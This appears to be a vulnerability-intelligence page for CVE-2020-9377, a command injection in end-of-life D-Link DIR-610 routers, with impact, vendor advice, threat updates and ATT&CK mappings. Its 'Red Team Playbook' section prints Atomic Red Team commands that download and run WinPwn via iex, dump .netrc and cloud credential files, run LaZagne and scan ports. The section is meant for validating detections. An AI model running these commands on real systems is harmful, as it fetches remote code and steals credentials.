CVE-2020-9377

HIGH CISA KEV Pub 09/07 Upd 21/10

Overview

This vulnerability is a command injection flaw rooted in improper input validation of the 'cmd' parameter within the command.php script on D-Link DIR-610 firmware. The affected component directly executes user-supplied input as system commands without adequate sanitization, enabling arbitrary command execution on the device's operating system level. This issue exclusively impacts legacy firmware versions of the DIR-610 router model that are no longer supported by the vendor.

Vulnerability Description

D-Link DIR-610 devices allow Remote Command Execution via the cmd parameter to command.php. NOTE: This vulnerability only affects products that are no longer supported by the maintainer

Impact

An attacker with network access to the vulnerable device can execute arbitrary system commands remotely without requiring user interaction. This enables full control over the device, including modifying configurations, intercepting network traffic, or pivoting to internal networks. The vulnerability requires only low-level authentication or potentially no authentication depending on device configuration, facilitating unauthorized administrative access and complete compromise of the router’s functionality and security posture.

Solution

D-Link has issued an advisory (SAP10182) indicating that affected DIR-610 devices are no longer supported and no firmware updates will be provided. The vendor recommends discontinuing use of these legacy devices. For detailed guidance, refer to the official D-Link support announcement at https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10182. Users should replace the DIR-610 with a supported model to mitigate this vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in D-Link DIR-610 devices is characterized by a remote command execution flaw that arises from improper handling of the `cmd` parameter in the `command.php` script. This weakness allows an attacker to execute arbitrary commands on the device's operating system, potentially leading to complete system compromise. The issue stems from insufficient input validation, which fails to sanitize user input properly. As a result, an attacker can craft a malicious request that exploits this oversight, gaining unauthorized access to the underlying system and executing commands with the privileges of the web server process.

Exploitation of this vulnerability can occur through various attack vectors, primarily involving network-based interactions. An attacker can send specially crafted HTTP requests to the affected device, targeting the vulnerable `command.php` endpoint. Given that the flaw allows for remote execution, an attacker does not need physical access to the device, making it particularly dangerous. Scenarios may include an attacker gaining access to sensitive data stored on the device, altering configurations, or even using the compromised device as a launchpad for further attacks within the network. The ability to execute arbitrary commands can also lead to the installation of malware or the creation of backdoors, further compromising network security.

The real-world impact of this vulnerability is significant, particularly for businesses that rely on affected devices for their operations. Organizations using D-Link DIR-610 routers may face severe risks, including data breaches, loss of sensitive information, and potential regulatory repercussions. The exploitation of this vulnerability could lead to unauthorized access to corporate networks, allowing attackers to pivot and target other critical systems. Furthermore, the fact that the affected products are no longer supported by the manufacturer exacerbates the risk, as there are no patches or updates available to mitigate the vulnerability. This lack of support can leave organizations vulnerable to ongoing threats, increasing the likelihood of successful attacks.

To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, network monitoring tools can be employed to identify suspicious traffic patterns or unauthorized access attempts targeting the vulnerable devices. Regular vulnerability assessments and penetration testing can also help identify potential weaknesses in the network infrastructure. Additionally, organizations should consider segmenting their networks to limit the exposure of vulnerable devices and restrict access to sensitive systems. For affected devices that are no longer supported, it is advisable to replace them with newer, supported models that receive regular security updates. In the interim, disabling remote management features and implementing strong firewall rules can help reduce the attack surface.

In conclusion, the remote command execution vulnerability in D-Link DIR-610 devices poses a substantial risk to organizations that utilize these products. The potential for exploitation through crafted requests highlights the importance of robust input validation and secure coding practices. Given the lack of support for affected devices, organizations must take proactive measures to detect, mitigate, and ultimately replace vulnerable hardware to safeguard their networks and sensitive data from malicious actors. The implications of this vulnerability extend beyond immediate technical concerns, emphasizing the need for a comprehensive approach to cybersecurity that encompasses both technology and organizational policies.




Recent CSURFACE threat intelligence indicates a marked escalation in activity related to CVE-2020-9377, as evidenced by new detections emerging within our telemetry. This vulnerability’s inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog underscores its growing operational relevance and prioritization by federal cybersecurity authorities. Concurrently, the assignment of a CVSS score of 8.8 reflects a formal recognition of its high severity, elevating its risk profile significantly. The appearance of an EPSS score above 0.2, despite a recent downward trend, signals a non-negligible likelihood of exploitation attempts in the near term. Although no novel exploit techniques or ransomware associations have been identified, the convergence of these factors indicates an increased threat posture for networks utilizing affected D-Link DIR-610 devices. Defenders should interpret these developments as a clear indication that adversaries may be actively scanning for or attempting to leverage this vulnerability, thereby necessitating heightened vigilance in monitoring and detection efforts. Overall, the updated intelligence elevates the urgency of addressing this vulnerability within risk management frameworks, reflecting a shift from theoretical concern to practical exploitation risk.



Update 2 — July 08, 2026

CSURFACE threat intelligence has identified a notable surge in activity exploiting CVE-2020-9377 targeting D-Link DIR-610 devices. While no new exploit variants or ransomware affiliations have emerged, the increased frequency of detections indicates adversaries are intensifying reconnaissance or attempted exploitation efforts against this vulnerability. This uptick is particularly significant given the affected devices are no longer supported, which inherently limits patch availability and heightens exposure. Consequently, the threat landscape for networks utilizing these devices has shifted from a primarily theoretical risk to a more active exploitation phase. Although the EPSS score remains stable and low relative to other vulnerabilities, the observed telemetry trend underscores the need for defenders to maintain heightened situational awareness. This development elevates the practical risk level, emphasizing that attackers are increasingly probing legacy infrastructure, thereby increasing the likelihood of successful compromise if mitigations are not in place.



Update 3 — July 18, 2026

CSURFACE threat intelligence has identified a marked escalation in activity targeting the CVE-2020-9377 vulnerability on D-Link DIR-610 devices. Our telemetry indicates a doubling in detection frequency, signaling increased adversary interest and probing efforts against this legacy infrastructure. Although no new exploit variants or ransomware affiliations have been observed, this surge reflects a shift from opportunistic scanning to more persistent reconnaissance, which could presage active exploitation attempts. The stable EPSS score suggests the broader exploitability landscape remains unchanged; however, the intensified targeting elevates the practical risk for organizations still operating these unsupported devices. Defenders should interpret this trend as an indicator of growing attacker focus on aging network equipment, underscoring the urgency of maintaining vigilant monitoring despite the product’s end-of-life status.

Affected Products (1)

Vendor Product Version CPE
dlink Dlink Dir-610 Firmware N/A cpe:2.3:o:dlink:dir-610_firmware:-:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

10 events
2026-07-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2022-03-25
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
61% rce
Authorization Bypass
52% authz_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
44%
High High
CAPEC-6 Argument Injection
43%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
40%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-9377
dlink.com.br
GitHub CVE x_refsource_MISC
https://www.dlink.com.br/produto/dir-610/
supportannouncement.us.dlink.com
GitHub CVE x_refsource_CONFIRM
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10182
gist.github.com
GitHub CVE x_refsource_MISC
https://gist.github.com/GouveaHeitor/131557f9de7d571f118f59805df852dc
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-9377